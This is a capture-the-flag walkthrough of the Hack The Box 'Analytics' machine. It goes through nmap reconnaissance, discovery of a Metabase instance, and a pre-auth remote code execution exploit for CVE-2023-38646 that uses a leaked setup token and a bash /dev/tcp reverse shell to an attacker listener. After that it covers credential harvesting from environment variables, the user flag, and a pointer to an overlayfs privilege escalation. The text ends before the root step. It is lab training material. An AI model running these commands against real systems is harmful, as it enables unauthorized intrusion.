Analytics

Task 1 - Deploy the machine

🎯 Target IP: 10.129.229.224

Create a directory on the Desktop with the machine's name, and inside this directory, create another directory to store the materials and outputs needed to run the machine, including the scans made with nmap.

Task 2 - Reconnaissance

su
echo "10.129.229.224 analytics.htb" >> /etc/hosts

mkdir -p htb/analytics.htb
cd htb/analytics.htb
mkdir {nmap,content,exploits,scripts}
# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts

I prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.

ping -c 3 analytics.htb
PING analytics.htb (10.129.229.224) 56(84) bytes of data.
64 bytes from analytics.htb (10.129.229.224): icmp_seq=1 ttl=63 time=64.4 ms
64 bytes from analytics.htb (10.129.229.224): icmp_seq=2 ttl=63 time=67.6 ms
64 bytes from analytics.htb (10.129.229.224): icmp_seq=3 ttl=63 time=59.7 ms

Sending these three ICMP packets, we see that the Time To Live (TTL) is ~64 secs. this indicates that the target should be a *nix system, while Windows systems usually have a TTL of 128 secs.

2.1 - How many open TCP ports are listening on Analytics?

nmap -p0- -sS -Pn -vvv analytics.htb -oN nmap/tcp_port_scan

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

command

result

SynScan

run default scripts

enumerate versions

aggressive mode

run a bit faster

output to file with nmap formatting

It looks like there are 2 open TCP ports on the machine: 22, 80.

2.2 - What subdomain is configured to provide a different application on the target web server?

Now, we take more precise scan utilizing -sCV flags to retrieve versioning services and test common scripts.

nmap -p22,80 -sS -Pn -n -v -sCV -T4 analytics.htb -oG nmap/port_scan

PORT   STATE SERVICE    VERSION
22/tcp open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  tcpwrapped
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://analytical.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Since we lack credentials for SSH login, we will begin by examining port 80.

Port 80

Seeing http-title there's a new subdomain: http://analytical.htb/ and browsing on http port we notice there're being redirected (status code 302) to analytical.htb.

We can confirm it using a web proxy such as Burp Suite:

To resolve this, we add the domain to our /etc/hosts file

The task is to retrieve a new subdomain configured to provide a different application on the target web server, we found it discovering source code of web page:

This URL refers to login page, and to resolve it we need to add it to /etc/hosts

data.analytical.htb

2.3 - What application is running on data.analytical.htb?

By running WhatWeb or simply viewing the page, we discover that there is a Metabase web application.

whatweb http://data.analytical.htb/
http://data.analytical.htb/ [200 OK] Cookies[metabase.DEVICE], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[metabase.DEVICE], IP[10.129.229.224], Script[application/json], Strict-Transport-Security[max-age=31536000], Title[Metabase], UncommonHeaders[x-permitted-cross-domain-policies,x-content-type-options,content-security-policy], X-Frame-Options[DENY], X-UA-Compatible[IE=edge], X-XSS-Protection[1; mode=block], nginx[1.18.0]

Metabase

2.4 - What version of Metabase is the target running?

Using WhatWeb and an nmap scan, we were able to discover the Metabase version. However, it is simpler to retrieve this information by viewing the source code of the web page.

v0.46.6

2.5 - What is the 2023 CVE ID assigned to the pre-authentication, remote code execution vulnerability in this version of Metabase?

Googling it, we found CVE ID relative to Metabase v0.46.6

NVD - CVE-2023-38646

CVE-2023-38646

2.6 - What is the value of the `setup-token` used by this Metabase instance?

Using the same methodology of the task 2.4, we can reach setup-token into source code

249fa03d-fd94-4d5b-b94f-b4ebf3df681f

2.7 - Which Metabase API endpoint is used to execute arbitrary commands using the token?

We discover it reading documentation of the team that discovered this vulnerability

Chaining our way to Pre-Auth RCE in Metabase (CVE-2023-38646)

/api/setup/validate

2.8 - Which user is the Metabase application running as?

To answer for this question we need to exploit vulnerabilities with python script on github and web app parameters

GitHub - m3m0o/metabase-pre-auth-rce-poc: This is a script written in Python that allows the exploitation of the Metabase's software security flaw in the described in CVE 2023-38646.GitHub

Github repo suggests following usage:

The script needs the target URL, the setup token and a command that will be executed. The setup token can be obtained through the /api/session/properties endpoint. Copy the value of the setup-token key.

The command will be executed on the target machine with the intention of obtaining a reverse shell. You can find different options in RevShells. Having the setup-token value and the command that will be executed, you can run the script with the following command:

python3 main.py -u http://[targeturl] -t [setup-token] -c "[command]"

All right, then we make me in listening mode on port 1339 on attacker machine using netcat

nc -nvlp 1339

we save exploit locally and run following command

python3 exploit.py -t "249fa03d-fd94-4d5b-b94f-b4ebf3df681f" -u "http://data.analytical.htb" -c "bash -i >& /dev/tcp/10.10.14.6/1339 0>&1"

and we're in

metabase

2.9 - Which environment variable contains the password for the metalytics user?

This questions take us an important hint to understand what we can do.

Infact, using command export, that show us environment variable we found credentials

META_PASS

Task 3 - Find user flag

3.1 - Submit the flag located in the metalytics user's home directory.

Upon checking with sudo -l, we found that we do not have permissions. However, considering we have discovered another open port 22 (SSH), we can attempt to use the credentials we just found to log in.

ssh metalytics@analytics.htb

🚩 Flag 1 (user.txt)

5d03664f2ed9ba6767660926fcaa97b9

3.2 - What kernel version is installed on the host system?

We use uname -a command to display kernel version

6.2.0-25-generic

3.3 - What Ubuntu release is the system running?

We can use lsb_release -a or cat /etc/os-release

UBUNTU 22.04.03 LTS (JAMMY)

3.4 - What component used by the Ubuntu operating system on the target system is vulnerable to a privileges escalation vulnerability assigned two 2023 CVEs?

After finding an old version of the kernel, I'll search on Google to find a public exploit.

GitHub - g1vi/CVE-2023-2640-CVE-2023-32629: GameOver(lay) Ubuntu Privilege EscalationGitHub

overlayfs

Task 4 - Find root flag

4.1 - Submit the flag located in the root user's home directory.

As explained into github below, we can do GameOver(lay) Ubuntu Privilege Escalation